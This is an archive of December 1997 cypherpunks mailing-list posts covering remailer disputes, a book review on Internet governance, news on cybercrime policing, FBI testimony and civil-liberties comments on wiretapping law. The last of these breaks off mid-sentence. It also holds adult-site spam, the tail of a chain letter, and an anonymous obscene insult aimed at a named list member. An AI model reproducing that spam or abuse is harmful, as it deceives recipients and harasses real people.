this program.  The concise REPORTS you will be buying are easy to                         
duplicate for your entrepreneurial endeavor.                        
                        
           Thank you for your attention.  Now make the decision that's right for you.



Warning: if you fuck Tim Mayflower in the ass, a rabid tapeworm might bite your penis. ,,, (o-o) -ooO-(_)-Ooo- Tim Mayflower From ptrei at securitydynamics.com Fri Dec 12 06:25:49 1997 From: ptrei at securitydynamics.com (Trei, Peter) Date: Fri, 12 Dec 1997 22:25:49 +0800 Subject: How about a Bay Area meeting 1/17/98? Message-ID: <6B5344C210C7D011835C0000F80127668B1593@exna01.securitydynamics.com> Bill wrote: > The December Bay Area Cypherpunks Meeting will be held 12/13 at 1pm at > Printer's Ink on Castro Street in Mountain View. It would be nice if the January meeting were held the 17th. This is the day following the RSA Data Security Conference, and a lot of out-of-towners will be in the area over that weekend. Peter Trei From Sexappeal at idsweb.com Fri Dec 12 23:14:25 1997 From: Sexappeal at idsweb.com (Sexappeal at idsweb.com) Date: Fri, 12 Dec 1997 23:14:25 -0800 (PST) Subject: Free Password Message-ID: <54102170025.GAA08056@somewhere.com> **Must Be 18 or older to view my site** This e-mail is being sent to you because your address was shown as visiting my site. If someone else has used your account and you wish to be removed e-mail me with the words REMOVE in the subject line and I will delete you**:- ) Thank you for visiting my site!! http://www.tracywest.com You are really going to unload now!!! Not only have I posted new photos but there is a Excellent service that I am a BIG part of and I want you to : TRY IT WITH A ONE WEEK FREE PASSWORD!!!!!!!! http://www.tracywest.com As you know�.I really work hard at this business and I know great content when I see it! There is nothing to lose�You will love this service: Access ALL MONTH LONG!!! NO PER MINUTE Charges!!! -Tons of MOVIES!!! [Featuring Movies of ME too] -More LIVE Feeds than you could ever want access to!! -Tons PHOTOS! -E-ZINE and VAVOOM! [On Line Magazines that are really hot!] All of the stuff and MORE that you would expect from a Las Vegas XXX Super Star!!!! GO GET YOUR FREE PASSWORD NOW!! xoxox, Tracy West http://www.tracywest.com From nobody at REPLAY.COM Fri Dec 12 09:49:49 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sat, 13 Dec 1997 01:49:49 +0800 Subject: No Subject Message-ID: <199712121618.RAA20299@basement.replay.com> Choosing to not become a member of the collective society/mindset the government has put in place will soon become illegal. Money laundering is illegal for a very simple reason everything is becoming illegal: Control. Money laundering prevents the government to "control" your money. When they could not take your money in the interest of national/public/child safety for such wasteful ventures like the perpetual war on drugs ,and when you thought for yourself and realized how wasteful it all was and that you would not willing give your money the government made it illegal to hide your money. Then they came up with asset forfeiture laws to legally take your vaporware, commonly referred to as 'money'. From frogfarm at yakko.cs.wmich.edu Fri Dec 12 10:06:59 1997 From: frogfarm at yakko.cs.wmich.edu (damaged justice) Date: Sat, 13 Dec 1997 02:06:59 +0800 Subject: Book Review - Coordinating the Internet Message-ID: <199712121801.NAA08303@yakko.cs.wmich.edu> -- forwarded message -- >From: danny at staff.cs.su.oz.au (Danny Yee) Newsgroups: aus.books,usyd.net,rec.arts.books,alt.books.reviews,rec.arts.books.reviews,alt.culture.internet,misc.books.technical,alt.books.technical,aus.computers,aus.org.efa,comp.org.eff.talk,talk.politics.misc Subject: Book Review - Coordinating the Internet Followup-To: alt.culture.internet,talk.politics.misc Date: 12 Dec 1997 11:37:48 GMT Organization: Basser Dept of Computer Science, Uni of Sydney, Australia Lines: 103 Approved: danny at cs.usyd.edu.au Message-ID: <66r7mc$3kk$1 at crux.cs.su.oz.au> NNTP-Posting-Host: staff.cs.su.oz.au X-Server-Date: 12 Dec 1997 11:37:48 GMT http://www.anatomy.su.oz.au/danny/book-reviews/h/Coordinating_Internet.html title: Coordinating the Internet edited: Brian Kahin + James H. Keller publisher: The MIT Press 1997 other: 491 pages, references, index The superstructural politics and economics of the Internet (such issues as censorship and taxation) have long held centre stage. Increasingly, however, the politics and economics of the low level operation of the Internet have emerged from the shadows. It is these -- the governance and pricing of routing, addressing, and naming services -- which are the subject of _Coordinating the Internet_. The first four essays consider general issues in Internet governance. Gillet and Kapor explain how 99% of the Internet operates without centralised control and suggest that coordination of domain name assignment and IP address allocation will eventually look "a lot more like coordination of the rest of the Internet". Gould provides a UK perspective, suggesting the evolution of English constitutional law and the supranational powers of the European Union as possible models for the Internet. Johnson and Post argue for decentralised governance, highlighting serious problems with alternatives such as extending national sovereignty, international treaties, or governance by international organisations. Rutkowski is less enthusiastic, claiming that "the notion of Internet self-governance is in fact an illusion arising from the relative unfamiliarity of many people associated with the Internet with either its history or the surrounding legal and regulatory constructs in which it exists". The domain name system is probably the most visible area of contention at the moment; it is the subject of seven of the papers in _Coordinating the Internet_. Five of them take different positions on the legal arguments over its interaction with trademark law and the political arguments over which organisations should be involved in its administration: the United Nations, the United States Federal government, InterNIC, and the Internet Assigned Numbers Authority just some of the contenders. Taking a step back, Andeen and King compare the DNS with telephony addressing in World Zone 1 (the North American Numbering Plan) and Mitchell, Bradner and Claffy argue that the obsession with the DNS is a red herring, that issues of Internet governance and sustainability are far broader. Moving on to less prominent but probably more fundamental issues, Rekhter, Resnick and Bellovin write about the need to provide financial incentives for route aggregation and efficient use of the address space, and suggest a framework for property rights and contracts that will achieve this. And Hoffman and Claffy evaluate the advantages and disadvantages of metro-based addressing (based on geography rather than provider). There are five papers on interconnection and settlement systems and agreements between service providers. Bailey and McKnight survey the variety of interconnection agreements and argue for the introduction of usage-sensitive pricing in conjunction with integrated services with guaranteed quality of service. Cawley, in contrast, extols "the virtues (and appropriateness) of capacity-based pricing and flat-rate tariffs", but suggests that many kinds of pricing models can coexist and that "interconnection and settlement are best left to market forces". Chinoy and Salo review what the transition from the NSFnet to commercial backbones teaches us about oversight and scaling issues. Farnon and Huddle use theoretical efficiency modelling to argue that the present "sender keeps all" settlement system is flawed. And Mueller, Hui and Cheng recount the history of the Hong Kong Internet Exchange. The final two papers deal with quality of service evaluation, with performance monitoring and statistics. Almes presents an overview of the IETF IP Provider Metrics effort, while Monk and Claffy suggest ways of overcoming practical obstacles -- political and economic as well as technological -- to adequate data acquisition. _Coordinating the Internet_ is moderately technical (though it avoids plumbing the complexities of protocols such as BGP) and on some issues its presentation of so many different viewpoints may be more confusing than clarifying. But it is an accessible and informative collection -- and an important and timely one, given the increasing urgency of some of the issues it debates. -- Disclaimer: I requested and received a review copy of _Coordinating the Internet_ from The MIT Press, but I have no stake, financial or otherwise, in its success. -- %T Coordinating the Internet %E Brian Kahin %E James H. Keller %I The MIT Press %C Cambridge, Massachusetts %D 1997 %O paperback, references, index %G ISBN 0-262-61136-8 %P xviii,491pp %U http://mitpress.mit.edu/book-home.tcl?isbn=0262611368 %K Internet, politics, economics, law 12 December 1997 --------------------------------------------------- Copyright (c) 1997 Danny Yee (danny at cs.usyd.edu.au) http://www.anatomy.usyd.edu.au/danny/book-reviews/ --------------------------------------------------- -- end of forwarded message -- From rah at shipwright.com Fri Dec 12 11:01:35 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sat, 13 Dec 1997 03:01:35 +0800 Subject: Only criminals don't support concealed-carry laws Message-ID: --- begin forwarded text Mime-Version: 1.0 Date: Fri, 12 Dec 1997 08:18:04 -0800 To: Robert Hettinga From: Somebody Subject: Only criminals don't support concealed-carry laws >.> > =============================================== > NEWS FROM THE LIBERTARIAN PARTY > 2600 Virginia Avenue, NW, Suite 100 > Washington DC 20037 > =============================================== > For release: December 9, 1997 > =============================================== > For additional information: > George Getz, Deputy Director of Communications > Phone: (202) 333-0008 Ext. 222 > E-Mail: 76214.3676 at CompuServe.com > =============================================== > > > The evidence is clear: Only criminals don't > support concealed-carry laws, say Libertarians > > WASHINGTON, DC -- If you want to reduce crime, allow more > people to carry more concealed guns, the Libertarian Party said today. > > And that opinion is confirmed by a new Cato Institute study, > which found that violent crime rates dropped dramatically in the 24 > states that have passed "concealed-carry" laws -- which allow ordinary > citizens to carry concealed weapons. > > "At this point, the only people who don't support > concealed-carry laws are criminals," said Steve Dasbach, the party's > national chairman. > > In those 24 states, concealed-carry laws force local police to > grant most citizens a concealed weapon permit after meeting certain > qualifications. Usually, that includes getting fingerprinted, passing a > criminal background check, and taking a gun safety course. > > "For years, gun-control advocates claimed that laws allowing > concealed weapons would lead to murder and mayhem," said Steve Dasbach, > chairman of the Libertarian Party. "But the exact opposite is true: > Concealed weapons actually save lives." > > The Cato Institute study, timed to coincide with the 10-year > anniversary of Florida's controversial concealed-carry law, found that > in the 24 states with concealed-carry laws, murders dropped by 7.7%, > rapes fell by 5.2%, robberies decreased by 2.2%, and aggravated > assaults were reduced by 7%. > > And in states where politicians continue to outlaw concealed > weapons? > > "There's blood in the streets," Dasbach said. "After accounting > for all other factors, the study calculated that in 1992 alone, 1,414 > more people were murdered than would have been if concealed-carry laws > were in effect." > > And the carnage doesn't end there: An additional 4,177 people > were raped, 11,898 more were robbed, and 60,363 more assaulted solely > as a result of the increased criminal activity that apparently comes > with concealed weapons bans, the study said. > > "But who is surprised that violent street thugs prefer to prey > on people who can't shoot back?" Dasbach asked. "By refusing to approve > concealed-carry laws, politicians in other states have painted a target > on the back of America's most vulnerable citizens." > > The study also shoots a hole in two other gun-control myths, > Dasbach said. One is that concealed-carry laws will resurrect the "Wild > West," turning ordinary Americans into trigger-happy gunslingers. > > "The study found that the number of concealed-carry > permit-holders convicted of murder committed in public is exactly zero, > and less serious crimes are extremely rare," he said. For example, only > one in 5,000 Floridians have had their permits revoked for crimes > involving a firearm. > > The other myth: That accidental shootings will become > commonplace. > > "The number of accidental deaths increased so slightly (less > than half of 1%) that implementing concealed-carry laws in every > remaining state would result in less than one additional death per year > - -- far less than the number of lives saved because of the reduced > murder rate," said Dasbach. > > "In other words, the real danger comes not from concealed > weapons, but from the lack of them," he said. > > Dasbach emphasized that although concealed-carry laws are a > major step in the right direction, they're not the perfect solution for > Libertarians. > > "Right-to-carry laws are only a partial victory because > Americans shouldn't have to seek government permission to exercise any > Constitutional right. Imagine what would happen if politicians dared to > require every journalist to pass a writing test to get a permit to > cover city hall, or tried to force ministers to demonstrate a basic > knowledge of religion before giving a sermon," he said. > > But requiring a permit is better than the alternative, he said: > Sentencing innocent people to death because they can't legally defend > themselves. > > "Denying terrified Americans the right to carry a gun is like > putting them at the front of the line on Death Row," he said. "At they > very least, politicians should have the decency to stop disarming > America's most vulnerable citizens: Crime victims." > > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.2 > > iQCVAwUBNI4ttdCSe1KnQG7RAQGH+wP9E9V7Qz84YFPtuo/ccCLGoYfU5C11G7dD > lr9oHNdd+JtkaBhoDB+NmDpO3lccNueq5Cl4ZxO8uJ67LjeMU4gvFhev8eMUr3Rs > Cj2zuWTEa94Xnl4gR3BBKnlykyIIc5WCpN9ftsmA3zB4bP4rpVNfJgcKPW2BQs+U > dMEaQprF4V8= > =GkYU > -----END PGP SIGNATURE----- > > > The Libertarian Party http://www.lp.org/ > 2600 Virginia Ave. NW, Suite 100 voice: 202-333-0008 > Washington DC 20037 fax: 202-333-0072 > __________________________________________________________________________ --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From nobody at REPLAY.COM Fri Dec 12 11:38:33 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sat, 13 Dec 1997 03:38:33 +0800 Subject: Another of Gary Burnore's Lies Exposed In-Reply-To: <19971210220912.2617@dpinc.ml.org> Message-ID: <199712121926.UAA10480@basement.replay.com> "Sam" wrote: > > Three examples: Speculation about Wotan and MailMasher, Speculation about > > DataBasix and one of many posts from the anon asshole complaining that ^^^^^^^^^^^^ > > > > Here are selected paragraps from each. The full messages follow: > > [snip] > > I'd rather look at full messages. Good idea. Notice Gary's usage of ad hominem argumention to avoid the issues on the faulty premise that if you hate the messenger then you can safely ignore the message. To Gary Burnore, his constant use of the perjorative "anonymous asshole" is apparently intended in the same manner as "heretic" was in the Middle Ages or "witch" was in 17th century New England. > This is something about warez and remailer, and Burchell discussing the > possible identity of whoever was behind whatever was discussed here. > Nothing is said regarding the issue here of forging databasix addresses > through the remailer, who was doing it, and why. > > I happen to recall that this was what this thread is supposed to be about. The original premise was that since the Mailmasher pseudonym server was allegedly allowing forgeries, it should be shut down. McClatchie's problem was that he mistook Mailmasher for a remailer and sought to prove that it allowed forgeries through the pasting of From: headers when, in fact, Mailmasher never had this capability. (Some of the remailers formerly did, but that was corrected long before the June incident with Gary Burnore, Belinda Bryan, and Jeff Burchell.) The "evidence" that was posted back then in an attempt to implicate Mailmasher in forgery consisted of usenet posts with truncated Path headers which stopped at the mail-to-news gateway from which they were posted. And none of the messages was more recent than 2/97. Mailmasher was a predecessor to Hotmail and the other web-based e-mail providers. The difference was that Mailmasher didn't require you to identify yourself to establish an account, but you could choose a pseudonym and use that instead. It never had any capabilities to specify a From: address. This the forged messages apparently not only had forged "From:" lines, but a forged "Message-ID:" as well, to make it look as if it came from Mailmasher. The forger, however, apparently chose the wrong site to implicate. If you'll reread Jeff's post (the one in the URL that I previously posted), you'll get a little insight into Gary's actions and apparent motives for his later attacks on Jeff's other server, the Huge Cajones Remailer. Let me quote a short excerpt: -> I still don't know what the hell is going on with DataBasix, Wells Fargo -> and Gary Burnore, but I suspect that someone used huge.cajones to say -> something extremely unflattering about Burnore (from what I can tell, -> he had it coming). Burnore then decided that he would make things -> difficult for me. First, he wanted the user who had posted something -> "inflammatory" about him revealed. When I told him that I couldn't -> do that, he carried on about mail logs and identifying the host that -> a message came from (the usual). I didn't explain to him that my -> machine keeps logs, but not anything involving a *@cajones.com -> address. He then requested the logs, which I denied (and told him -> to get his lawyer to send a request...) The issue was an "unflattering post", not any sort of forgery or other abuse. The so-called "spam bait" only "conveniently" appeared later when DataBasix was in need of more ammo to use to get the remailer shut down: -> Between the time he first contacted me, and the time I received the -> letter from Belinda Bryan, is when the baiting of databasix addresses -> began (slowly, with just a few posts). Now how would a third party, who was not privy to Gary and Belinda's private dealings with Jeff be able to exploit that timing by initiating the spam baiting at just the "right" time? It was almost as if the abuse appeared right on cue, just in time to bolster the case of DataBasix vs. Huge Cajones. And notice that from Jeff's chronology, the demand by Gary Burnore and Belinda Bryan for Jeff Burchell to turn over his logs to them came BEFORE this alleged "spam baiting" and was based on the unflattering CONTENT of a post, not on any alleged "forgery". None of this can be called speculation. It's a factual, historical account of DataBasix' dealings with Jeff Burchell. Plain and simple, Gary's demand for Jeff's logs was a blatant attempt at censorship through intimidation. IOW, the clear implication was "if you dare to criticize me, I'll hunt you down and you'll be sorry". > Earlier, Anonymous wrote: ``Contrary to your accusations, not all of > Jeff's post was "speculation".'' You took issue with that, in the context > of your disputed attempt to obtain the remailer's logs. > > Well, in this very sizeable post, speculations do, indeed, comprise only a > portion of it. The rest is a detailed narrative of the communications > between the players involved so no, it was not all just a speculation. > > Furthermore, you are disputing the fact that you wanted to obtain the > remailer's logs. I fail to see what facts you have posted which dispute > Jeff Burchell's version of the story. I cannot find the portion that > supposedly supports your claim that you did not seek to violate the > anonymity of the remailer. Burchell accomodated your demands, and put in > place measures that would prevent the alleged abuse from taking place. > Yet, you still demanded the logs. That's precisely my point. And now he refuses to disclose his motives for that demand or what he intended to do with the names and addresses contained in those logs. Every time he's asked the question of why he attempted to violate the privacy of hundreds or perhaps thousands of remailer users, it elicits another tantrum that goes, "Lies! Prove it! Why are you harassing me? What are your demands?" > > Note: I have several more posts like these, if you're interested. > > This one is a fine example of someone (the anonymous asshole, no doubt) > > whining about the "content based censorship" > > because he couldn't spambait us anymore. > > [snip] > > That's fine, but I do not see why this is relevant. It's not relevant. His usage of "anonymous asshole" is apparently generic for anyone who dares to challenge him and who posts anonymously, and is an obvious attempt to demonize all such individuals to divert attention from his own tactics. The whole "spam bait" issue is obviously a smoke screen, since the alleged spam-bait came AFTER the demand for Jeff's logs. From nobody at REPLAY.COM Fri Dec 12 11:50:55 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sat, 13 Dec 1997 03:50:55 +0800 Subject: Whoever thinks the "word" is censored, post the 'word' fool Message-ID: <199712121941.UAA12159@basement.replay.com> gburnore+NOspam at netcom.com (Gary L. Burnore) wrote: > :My only guess is that the posting person thinks that Replay censors more > :than one word, and that giveing the word away would tell Replay which > :filter to lift. If I had found something like that, I'd pass the info > :around privately to a bunch of friends first, and make sure that I was not > :the only one expereienceing the prob. > > Some have asked him to email it privately as well, seems he's not done that > either. I'm curious -- how would you know whether he's done so or not? I don't recall you making that invitation to him. Do you even accept incoming e-mail from remailers? > :Or, he could just be trolling. :) > > Doubt it. It really sounds like he believes the word is being censored. Maybe it's time for Alex to join this thread and either say "no, we don't filter on any words at the Replay remailer", or else "yes, here's a list of the words we consider to be objectionable, so please omit them from your posts through the Replay remailer". I'm half expecting that his posts aren't showing up either because he's screwed something up in the message to the remailer (like misspelling the word "Newsgroups" in the header, for example), because the posting gateway is flaky, or because some Net Nazi has taken it upon himself to indiscriminately forge cancels to posts he doesn't like. But some definitive word, one way or the other, would go a long way towards clarifying this situation. I see no rational reason for covertly blocking posts based on content. *IF* he didn't want something posted, then an announcement that the Replay remailer rejects posts containing certain words or phrases would make life simpler for all concerned. And to whoever created the subject line for this message, I'm tempted to either post the word "fool", or say that it's a lousy "Mr. T" impression. :) From vax at linkdead.paranoia.com Fri Dec 12 12:18:43 1997 From: vax at linkdead.paranoia.com (VaX#n8) Date: Sat, 13 Dec 1997 04:18:43 +0800 Subject: free ACM publications Message-ID: <199712121953.NAA06583@linkdead.paranoia.com> Cypherpunks readers may be interested in the ACM digital library, which is open free to the public until the end of this year, at which it becomes a rather expensive members-only luxury. Many complete articles are available online in PDF format. Reviews and abstracts will remain free. A search for "encryption", "cryptanalysis" or "cryptography" in the title and abstract reveals some interesting papers. As usual, use but don't abuse; I don't want to regret telling everyone about this, particularly since I haven't started reading yet myself. Information wants to be free: http://www.acm.org/dl -- VaX#n8, Junglist From shamrock at netcom.com Fri Dec 12 13:37:09 1997 From: shamrock at netcom.com (Lucky Green) Date: Sat, 13 Dec 1997 05:37:09 +0800 Subject: Smartcard demo canceled Message-ID: I won't be able to make it to tomorrow's meeting. Therefore, my smart card demo has been canceled. Sorry about that, -- Lucky Green PGP encrypted mail preferred From real at freenet.edmonton.ab.ca Fri Dec 12 14:05:53 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Sat, 13 Dec 1997 06:05:53 +0800 Subject: your mail In-Reply-To: Message-ID: On Fri, 12 Dec 1997, Anonymous wrote: I think Vulis needs each of us to send ten copies of this back to him. > Warning: if you fuck Tim Mayflower in the > ass, a rabid tapeworm might bite your penis. > > ,,, > (o-o) > -ooO-(_)-Ooo- Tim Mayflower > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From declan at well.com Fri Dec 12 14:08:55 1997 From: declan at well.com (Declan McCullagh) Date: Sat, 13 Dec 1997 06:08:55 +0800 Subject: CDT VTW "aces" launch "bold" new Net-firm, by Brock Meeks Message-ID: --- http://www.msnbc.com/news/129054.asp Noted Net lobbyists form for-profit firm Two non-profit cyberspace advocates now look to market Internet strategies By Brock Meeks WASHINGTON -- This is a story of defection. Two well-known voices on cyberspace advocacy issues Jonah Seiger of the Center for Democracy and Technology and Shabbir Safdar of Voters Telecommunication Watch said Tuesday they're forming a company specializing in "Internet campaign strategies." Spin doctors for fun and profit. And along they way, they hope to help make the Internet safe for Democracy. [...] The move is a dramatic shift for the two. In four years they have been at the forefront of the most contentious issues in cyberspace. They've created and honed their Internet strategies in the bare-knuckle world of Washington politics with incessant digital lobbying. No more. "We aren't going to be walking around the halls of Congress lobbying on behalf of anybody," Seiger said. IS ANYBODY HERE? The move is bold, even brash. Seiger and Safdar are banking that the Internet is, first, a viable medium for "moving an issue" as they call it and, second, that companies or organizations are going to be willing to pony up money to mount an Internet campaign. On second thought, maybe this is simply blind faith. If this defection is born of blind faith in a nascent medium, then Seiger and Safdar are true disciples. Seizer's own currency inside the Center for Democracy and Technology has been on a steady rise; he routinely is quoted on cyberspace issues. Now he's chucked all that for a start-up that depends on a medium that hasn't yet proven it can sustain a commercially viable site. [...] Whether or not the sound bite plays at the bank and with a host of potential clients, is another matter altogether. If Mindshare is going to be successful, it'll have to have an ace up its digital sleeve. It doesn't. It has two: Seiger and Safdar. ### From usura at sabotage.org Fri Dec 12 15:22:46 1997 From: usura at sabotage.org (Alex de Joode) Date: Sat, 13 Dec 1997 07:22:46 +0800 Subject: Whoever thinks the "word" is censored, post the 'word' fool In-Reply-To: <199712121941.UAA12159@basement.replay.com> Message-ID: <199712122306.AAA06172@basement.replay.com> [..] : > :Or, he could just be trolling. :) : > : > Doubt it. It really sounds like he believes the word is being censored. : : Maybe it's time for Alex to join this thread and either say "no, we don't : filter on any words at the Replay remailer", or else "yes, here's a list : of the words we consider to be objectionable, so please omit them from : your posts through the Replay remailer". As stated before we do not filter. -- Alex de Joode | usura at SABOTAGE.ORG | http://www.sabotage.org Sabotage Internet: Your Internet Problem Provider. From declan at well.com Fri Dec 12 15:25:56 1997 From: declan at well.com (Declan McCullagh) Date: Sat, 13 Dec 1997 07:25:56 +0800 Subject: Could a Jim Bell do the same thing? Message-ID: >From a news.com feature: Sometimes, Daufenbach notes, a freshly arrested child pornographer facing a long sentence will agree to let his email account "hum" (continue running), with Customs picking up the traffic. A year ago, Daufenbach assumed the identity behind one such account. A molester and child pornographer (Daufenbach declined to reveal the person's name) began emailing Daufenbach's undercover account and then switched to real-time online chat, one of the biggest challenges for any cyberinvestigator. "A lot of people don't like doing it," says the Customs agent. "You have to think on your feet." Molesters often talk graphically about the children they abuse--and expect the same from their confidants. "If you get nervous and flustered," notes Daufenbach, "you'll blow it." From vznuri at netcom.com Fri Dec 12 15:28:46 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Sat, 13 Dec 1997 07:28:46 +0800 Subject: "24 hour cybercops" Message-ID: <199712122321.PAA20875@netcom4.netcom.com> ------- Forwarded Message From: "Henry Ayre" Subject: SNET: Re: [CTRL] Janet Reno Promises Net Cops 24/7 Date: Fri, 12 Dec 1997 09:59:23 -0900 - -> SearchNet's SNETNEWS Mailing List It has been said that it takes a thief to catch one. Ergo, it must take a murderer to catch one. In both cases Janet Reno fits right into this program described below. H. Ayre - ---------- > From: Das GOAT > To: CTRL at LISTSERV.AOL.COM > Subject: [CTRL] Janet Reno Promises Net Cops 24/7 > Date: Friday, December 12, 1997 2:54 AM > > HIGH TECH COPS TO PROWL THE NET 24 HRS A DAY > > by Marcia Stepanek, Examiner Washington Bureau > San Francisco Examiner, Dec 11, 1997 > > WASHINGTON -- Top law-enforcement officials from the world's industrial > powers have announced plans to field cyber-SWAT teams to help catch criminals > who use the Internet and other computer technology to commit crimes. > > At the heart of the pact is a plan in which law enforcement officers with > computer expertise will be available 24 hours a day to assist investigations > of Internet crimes ranging from child pornography to fraud and money > laundering. > In addition, the nations [including the US, under Janet Reno] agreed to > form special police units to track Internet crime and criminals. > They also agreed to review police staffing levels to ensure that law > enforcement is adequately equipped to detect, prevent and punish computer > crimes. > US Attorney General Janet Reno initiated the meeting on computer crime, > the first-ever international gathering of justice ministers from the so-called > G-8 nations, the United States, United Kingdom, Canada, germany, France, > italy, Japan and Russia. > > To subsribe to Conspiracy Theory Research List[CTRL] send email: > SUBSCIBE CTRL [to:] LISTSERV at LISTSERV.AOL.COM > > To UNsubscribe to Conspiracy Theory Research List[CTRL] send email: > SIGNOFF CTRL [to:] LISTSERV at LISTSERV.AOL.COM > > Om - -> Send "subscribe snetnews " to majordomo at world.std.com - -> Posted by: "Henry Ayre" ------- End of Forwarded Message From declan at well.com Fri Dec 12 15:32:32 1997 From: declan at well.com (Declan McCullagh) Date: Sat, 13 Dec 1997 07:32:32 +0800 Subject: Freeh on how his encryption statements must be okayed Message-ID: HEARING OF THE HOUSE GOVERNMENT REFORM AND OVERSIGHT COMMITTEE SUBJECT: THE INDEPENDENT COUNSEL ACT CHAIRED BY: REPRESENTATIVE DAN BURTON (R-IN) WITNESSES: LOUIS FREEH, DIRECTOR OF THE FEDERAL BUREAU OF INVESTIGATION; DONALD SMALTZ, THE INDEPENDENT COUNSEL'S OFFICE 2154 RAYBURN HOUSE OFFICE BUILDING WASHINGTON, DC 10:05 A.M. EST [...] REP. STEVE HORN (R-CA): Thank you, Mr. Chairman. Director, going back to the Franklin Roosevelt administration, each administration has had a policy on the clearance of testimony, the review of testimony by high-ranking officials before they come up to the Hill. Was your statement cleared by OMB and/or the White House? MR. FREEH: As far as I know it was not. I gave a copy to the attorney general. She gave me a copy of hers. But there was no editing or suggestions done. I don't know if OMB got it or not. Maybe I can find out. (Confers with staff.) REP. HORN: Is that the usual procedure? MR. FREEH: I'm told they did not get a copy. REP. HORN: Yeah. Is that - what is the usual procedure to review MR. FREEH: The usual procedure would be, if I'm talking about counterterrorism or encryption, which I won't talk about today, yeah, we send it up to OMB, they review it. Sometimes they have suggestions, sometimes they have objections. We discuss that. That was not done in this case. [...] From declan at well.com Fri Dec 12 15:45:05 1997 From: declan at well.com (Declan McCullagh) Date: Sat, 13 Dec 1997 07:45:05 +0800 Subject: ACLU and EPIC comments on Digital Telephony/wiretapping Message-ID: Excerpt: > Before rushing to embrace any proposals to enlarge > the capability of government surveillance of its > citizens, the ACLU and EPIC urge the Commission to > take note of words written nearly 70 years ago -- > that remain true even today. As Justice Louis > Brandeis so aptly stated in Olmstead v. United > States, 277 U.S. 438 (1928): > > The evil incident to invasion of the privacy of the > telephone is far greater than that involved in > tampering with the mails. Whenever a telephone line > is tapped, the privacy of the persons at both ends > of the line is invaded, and all conversations > between them upon any subject, and although proper, > confidential, and privileged, may be overheard. > Moreover, the tapping of man's telephone line > involves the tapping of the telephone of every other > person whom he may call, or who may call him. As > a means of espionage, writs of assistance and > general warrants are but puny instruments of tyranny > and oppression when compared with wiretapping. -Declan ----------- Before the Federal Communications Commission Washington, D.C. 20554 In the Matter of ) ) CC Docket No. 97-213 Communications Assistance for ) Law Enforcement Act ) Reply Comments of the American Civil Liberties Union, Electronic Privacy Information Center and Electronic Frontier Foundation Introduction The American Civil Liberties Union ("ACLU") is a non-partisan organization of more than 250,000 members dedicated to preserving the freedoms embodied in the Bill of Rights. The Electronic Privacy Information Center ("EPIC") is a non-profit public interest research center that examines the civil liberties and privacy implications of new technologies. The Electronic Frontier Foundation ("EFF") is also a public interest organization devoted to protecting civil liberties in digital media. The ACLU, EPIC and EFF respectfully submit comments in this Notice of Proposed Rulemaking ("NPRM") on implementation of the Communications Assistance for Law Enforcement Act ("CALEA") to urge the Commission to exercise its conferred authority by extending the deadline for compliance with the Act to no earlier than October 24, 2000. Law enforcement has derailed the implementation process from the statute's inception, and neither the public, nor the telecommunications industry are in a position to comprehend the scope of the capacity and surveillance requirements sought by the Federal Bureau of Investigation ("FBI"). We believe that the impasse in the enactment process alone makes the implementation of CALEA impossible under the current statutory deadline of October, 1998. Moreover, we believe that because the most pertinent issues, the actual technical standards that may be adopted by industry, are not addressed in this NPRM, the Commission must extend the deadline for compliance to allow for the public scrutiny contemplated by CALEA. In short, we base our conclusions on the foregoing: I. To date, the FBI has not met its public capacity notice requirements under the Act which require law enforcement to quantify the actual and maximum capacity technical needs, including projections with the number of anticipated interceptions. Industry, the public and the Congress need an accurate assessment of the capacity requirements to provide meaningful oversight and to ensure that they do not exceed the statutory scope. No implementation of CALEA should proceed without compliance with this statutory requirement. II. Law enforcement was not permitted to dictate system design under CALEA, but has placed a choke hold on the process by repeatedly preventing the adoption of industry standards and creating a "wish list" of technically infeasible and costly requirements. In addition, it has become abundantly clear that the FBI is seeking unprecedented surveillance capabilities never envisioned by the Congress. Simply put they have consistently requested that industry provide numerous capabilities for surveillance that go far beyond the current court-authorized electronic surveillance under the provisions of Title III of the Omnibus Crime Control and Safe Streets Act of 1968, the Electronic Communications Privacy Act of 1986 and CALEA. Thus, the Commission must engage in detailed review of this process by extending the compliance date. III. Congressional limitations on information subject to interception have been disregarded. CALEA required the strengthening of privacy protections so that carriers do not intercept or disclose any information they are not authorized to. The additional surveillance features sought by the FBI contravene the Congress' intention to maintain current levels of surveillance and not expand them. We also address some incorrect assumptions in the NPRM that would expand CALEA's application. We conclude that these issues preclude "reasonably achievable" implementation of the Act. Background on Surveillance and CALEA Today, the revolutionary development of electronic infrastructures, that make it possible to easily communicate in a variety of ways, also make possible new forms of government intrusion and surveillance. Additionally, the actual use of government surveillance has grown faster in recent years than ever before and in past 10 years, the number of interceptions per year has more than doubled. According to statistics released by the Administrative Office of the U.S. Courts and the Department of Justice: �the use of electronic surveillance for criminal and national security investigations increased substantially in 1996; �court orders for electronic surveillance by state and federal agencies for criminal purposes also increased, from 1058 in 1995 to 1150 in 1996 (a nine percent increase); �for the first time in eight years, a court denied a surveillance application; �extensions of surveillance orders increased from 834 to 887. In all, interceptions were in effect for a total of 43,635 days in 1996. The report also shows that the vast majority of interceptions continued to occur in drug-related cases: 71.4 percent (821 total) for drug investigations; 9.9 percent (114) for gambling; 9.1 percent (105) for 